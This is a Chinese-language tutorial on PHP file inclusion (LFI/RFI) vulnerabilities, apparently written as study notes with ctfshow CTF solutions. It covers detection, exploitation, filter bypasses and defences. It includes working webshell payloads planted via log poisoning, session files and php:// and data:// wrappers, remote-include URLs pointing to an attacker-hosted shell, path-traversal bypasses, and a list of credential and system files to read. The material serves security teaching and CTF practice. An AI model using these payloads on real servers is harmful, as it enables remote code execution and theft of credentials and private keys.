
一、原理什么是文件包含程序开发人员通常会把可重复使用的函数写到单个文件中在使用某些函数时直接调用此文件而无须再次编写这种调用文件的过程一般被称为文件包含。在包含文件的过程中如果文件能进行控制则存储文件包含漏洞漏洞原理开发者通常使用 include() 或 require() 等函数加载文件内容。程序通过接收用户可控参数动态读取本地、远程文件并解析执行。如果这些函数的参数由用户输入控制且未经过验证攻击者可以通过构造恶意路径或 URL 来加载敏感文件或恶意代码。include()找不到被包含文件报错但会继续运行脚本include_once()与include类似区别当重复调用同一文件时程序只调用一次require()找不到被包含文件报错并且停止运行脚本require_once() 与require类似区别当重复调用同一文件时程序只调用一次分类LFI 本地文件包含仅读取服务器本地文件无法加载远程 URLRFI 远程文件包含可加载远程服务器文件危害更大二、探测1. 特征参数识别URL中常见文件包含参数?pagex、?filex、?namex、?pathx、?dirx、?templatex、?loadx2. 本地文件测试Windows系统?pageC:/Windows/win.ini ?pageC:/Windows/System32/drivers/etc/hostsLinux系统?page/etc/passwd ?page/etc/group ?page/etc/shadow需root权限 ?page/proc/self/environ获取环境变量、WEB路径页面返回文件内容无报错或404→ 存在LFI3. 远程文件包含探测传入远程 URL观察是否加载远程文件?pagehttp://攻击者服务器/evil.txt ?pagehttps://xxx/backdoor.php页面加载远程内容 → 存在RFI4. 截断符测试判断是否过滤后缀若后端强制拼接后缀如 include($file . .php)使用 %00 空字节截断PHP5.3.4 有效?page/etc/passwd%005. 工具探测Burp Suite主动扫描模块OWASP ZAP文件包含漏洞扫描规则Seay 源码审计工具代码层挖掘三、利用一本地文件包含利用1. 敏感文件读取信息泄露Windows常见C:\Windows\win.ini C:\boot.ini C:\xampp\apache\logs\access.log C:/Windows/System32/drivers/etc/hostsLinux常见目标/etc/passwd 用户列表 /etc/crontab 定时任务 /var/log/apache2/access.log 访问日志 /var/log/nginx/access.log /proc/self/cmdline 进程启动参数 /root/.ssh/id_rsa 私钥2. 日志包含写入木马日志污染攻击原理访问URL时UA请求头写入日志再包含日志执行PHP代码构造恶意User-Agent?php eval($_POST[cmd]);?访问网站记录日志包含日志文件?page/var/log/nginx/access.logPOST传参cmd系统命令实现webshell3. Session文件包含Session劫持代码执行PHP Session存储路径/tmp/sess_xxxxCookie写入恶意PHP代码包含session文件执行木马4. 上传文件配合LFI上传图片马.jpg 内含php代码再通过文件包含解析图片执行后门。二RFI远程文件包含利用攻击者搭建远程恶意文件 shell.txt?php eval($_POST[c]); ?直接远程包含?pagehttp://xxx/shell.txt传参执行命令?csystem(whoami);绕过域名限制协议替换 https://、ftp://、php://input三PHP伪协议利用无需本地/远程文件直接通过内置协议读文件、执行代码基本需要满足allow_url_fopenOn部分协议需要 allow_url_includeOn1.php://filter读取当前页面源码base64编码防止浏览器解析执行PHP代码避免源码被执行。解码base64得到完整源代码获取数据库账号、密钥。?pagephp://filter/readconvert.base64-encode/resourceindex.php2.php://inputGET传参?filephp://inputPOST请求体写入PHP代码?php system(ls); ?3.data://?pagedata://text/plain,?php eval($_GET[cmd]);? ?pagedata://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg #编码内容?php eval($_GET[cmd]);?4.file://直接读取服务器本地任意文件linux:?filefile:///etc/passwd ?filefile:///etc/group ?filefile:///var/log/nginx/access.logfile:// 后面需要三个斜杠代表从文件系统根目录开始。Windows:?filefile://C:/Windows/win.ini ?filefile://C:/Windows/System32/drivers/etc/hosts5.zip://读取 zip 压缩包内的文件解析执行里面的 PHP 脚本。?filezip://D:/www/1.zip%23shell.php # %23是#的URL编码用来指定压缩包里的文件四、绕过1. 过滤../目录穿越 绕过多层嵌套....//....//etc/passwd解析后等效../双URL编码绕过浏览器第一次 URL 解码..%2Fetc%2FpasswdPHP 服务端二次 URL 解码../etc/passwd斜杠替换\ Windows下等价 /过滤只拦截了正斜杠../即可使用..\绕过2. 过滤 http/https 禁止RFI 绕过替换协议ftp://、php://input、data://3. 后端强制拼接 .php 后缀 绕过空字节截断%00低版本PHP%00是字符串结束符PHP 遇到\0直接截断.php不会拼接执行.号./符号截断Windows下目录最大长度为256字节Linux下目录最大长度为4096字节超出的部分会被丢弃。目录过长最后拼接的.php就会被丢弃payloadhttp://192.168.100.150/test_include/index.php?page1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././路径符号/etc/passwd/.、/etc/passwd/#特殊符号后端拼接后地址http://xxx/shell.txt?.php?后面的内容属于 URL 参数服务端会忽略?.php实际加载远程shell.txt4. 过滤关键词 passwd、etc绕过大小写混淆/EtC/PaSsWdLinux区分大小写无效Windows有效字符串拼接、编码绕过、十六进制路径5. 过滤伪协议 php://filter 绕过大小写变形PHP://Filter换行、特殊字符分割绕过WAF6. 路径白名单限制仅允许 ./template/后端拼接后最终访问路径./template/./template/../../etc/passwd路径规范化后等价于../../etc/passwd成功跳出白名单目录路径穿越?page../etc/passwd 跳出指定目录五、防御1. 代码层修复根本解决①白名单限制文件名称只允许预设页面拒绝任意用户输入$allow [home.php,about.php]; $file $_GET[page]; if(!in_array($file,$allow)) die(非法文件); include(./template/.$file);②严格限制文件目录禁止跳出根目录使用 realpath() 校验路径拦截 ../ 穿越$base ./template/; $path realpath($base . $_GET[page]); if(strpos($path, realpath($base)) ! 0) exit;③禁用危险文件包含函数php.inidisable_functions include,require,file_get_contents④关闭远程文件包含php.iniallow_url_include Off,同时关闭 allow_url_fopen Off2. 输入过滤规范禁止用户输入直接拼接路径过滤 ../、\、/、%00、伪协议关键词强制文件后缀统一使用固定后缀禁止截断3. 服务器配置防护日志、session文件禁止Web可访问网站目录最低权限www-data无读取 /etc/shadow、/root 权限Nginx/Apache限制访问敏感系统文件4. WAF防护拦截特征php://filter、data://、zip://多层 ../ 目录穿越http:// 远程协议调用/etc/passwd、win.ini 敏感文件关键字5. 运维安全加固PHP升级至7.x/8.x废除空字节截断漏洞定期清理网站日志、session文件减少污染利用面禁止网站运行用户拥有高系统权限六、ctfshow练题-文件读取file:///etc/passwdphp://filter/readconvert.base64-encode/resourcephpinfo.php-文件写入php://filter/writeconvert.base64-encode/resourcephpinfo.phpphp://input POST:?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]); ?); ?-代码执行php://input POST:?php phpinfo();?data://text/plain,?php phpinfo();?data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b78-phphttp协议payload: ?filephp://filter/readconvert.base64-encode/resourceflag.phppayload: ?filephp://input post:?php system(tac flag.php);?payload: ?filehttp://www.xiaodi8.com/1.txt 1.txt:?php system(tac flag.php);?79-datahttp协议payload: ?filedata://text/plain,?system(tac flag.*);?payload: ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pgpayload: ?filehttp://www.xiaodi8.com/1.txt 1.txt:?php system(tac flag.php);?80 81-日志包含1、利用其他协议,如file,zlib等2、利用日志记录UA特性包含执行分析需文件名及带有php关键字放弃故利用日志记录UA信息UA带入代码包含/var/log/nginx/access.log82-86-SESSION包含利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含自定义session名字条件竞争访问session文件触发创建新文件htmlbodyinput typehidden namePHP_SESSION_UPLOAD_PROGRESS value?php fputs(fopen(shell.php,w),?php eval($_POST[1])?? /input typefile namefile /input typesubmit valuesubmit //form/body/htmlhttps://www.cnblogs.com/lnterpreter/p/14086164.htmlhttps://www.cnblogs.com/echoDetected/p/13976405.html87-php://filter/write加密编码1、利用base64:url编码2次php://filter/writeconvert.base64-decode/resource123.phpcontentaaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg2、利用凯撒13url编码2次php://filter/writestring.rot13/resource2.phpcontent?cuc riny($_CBFG[1]);?88-database64协议过滤PHP各种符号php代码编码写出无符号base64值Payloadfiledata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk117-php://filter/write新的算法convert.iconv.一种过滤器和使用iconv()函数处理流数据有等同作用?php$result iconv(UCS-2LE,UCS-2BE, ?php eval($_POST[a]);?);echo 经过一次反转:.$result.\n;echo 经过第二次反转:.iconv(UCS-2LE,UCS-2BE, $result);?Payloadfilephp://filter/writeconvert.iconv.UCS-2LE.UCS-2BE/resourcea.phpcontents?hp pvela$(P_SO[T]a;)?